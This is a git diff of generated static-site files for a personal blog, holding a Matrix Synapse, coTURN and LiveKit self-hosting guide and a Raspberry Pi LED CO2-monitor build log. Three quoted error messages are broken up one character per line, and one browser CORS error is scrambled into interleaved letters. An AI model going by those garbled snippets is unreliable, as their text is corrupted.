    + +RSS + \ No newline at end of file diff --git a/public/tags/webrtc/index.xml b/public/tags/webrtc/index.xml new file mode 100644 index 0000000..cb94942 --- /dev/null +++ b/public/tags/webrtc/index.xml @@ -0,0 +1,639 @@ +Webrtc on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/Recent content in Webrtc on AlipourIm journeysHugo -- 0.146.0enTue, 26 Aug 2025 00:00:00 +0000Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    + + + +
    + + + +D +a +t +a +b +a +s +e +h +a +s +i +n +c +o +r +r +e +c +t +c +o +l +l +a +t +i +o +n +o +f +' +e +n +_ +U +S +. +u +t +f +8 +' +. +S +h +o +u +l +d +b +e +' +C +' + + + + +
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    + + + +
    + + + +E +R +R +O +R +: +U +n +k +n +o +w +n +b +o +o +l +e +a +n +v +a +l +u +e +: +# +l +o +g +t +o +j +o +u +r +n +a +l +d +/ +s +y +s +l +o +g +. +Y +o +u +c +a +n +u +s +e +o +n +/ +o +f +f +, +y +e +s +/ +n +o +, +1 +/ +0 +, +t +r +u +e +/ +f +a +l +s +e +. + + + + +
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    + + + +
    + + + +A +F +c +e +c +t +e +c +s +h +s +- +A +C +P +o +I +n +t +c +r +a +o +n +l +n +- +o +A +t +l +l +l +o +o +w +a +- +d +O +r +h +i +t +g +t +i +p +n +s +: +c +/ +a +/ +n +r +n +t +o +c +t +. +e +c +x +o +a +n +m +t +p +a +l +i +e +n +. +c +m +o +o +m +r +/ +e +s +f +t +u +h +/ +a +g +n +e +t +o +n +d +e +u +e +o +r +t +i +o +g +i +a +n +c +. +c +e +s +s +c +o +n +t +r +o +l +c +h +e +c +k +s +. + + + + +
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +]]>
    \ No newline at end of file diff --git a/public/tags/webrtc/page/1/index.html b/public/tags/webrtc/page/1/index.html new file mode 100644 index 0000000..e1b31eb --- /dev/null +++ b/public/tags/webrtc/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ + \ No newline at end of file diff --git a/public/tags/ws2812/index.html b/public/tags/ws2812/index.html new file mode 100644 index 0000000..d758876 --- /dev/null +++ b/public/tags/ws2812/index.html @@ -0,0 +1,12 @@ +Ws2812 | AlipourIm journeys +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/ws2812/index.xml b/public/tags/ws2812/index.xml new file mode 100644 index 0000000..4b62248 --- /dev/null +++ b/public/tags/ws2812/index.xml @@ -0,0 +1,368 @@ +Ws2812 on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/Recent content in Ws2812 on AlipourIm journeysHugo -- 0.146.0enFri, 17 Oct 2025 00:00:00 +0000INET Logo That Breathes — From CAD to LEDs to a Calm Little Serverhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/Fri, 17 Oct 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/<blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
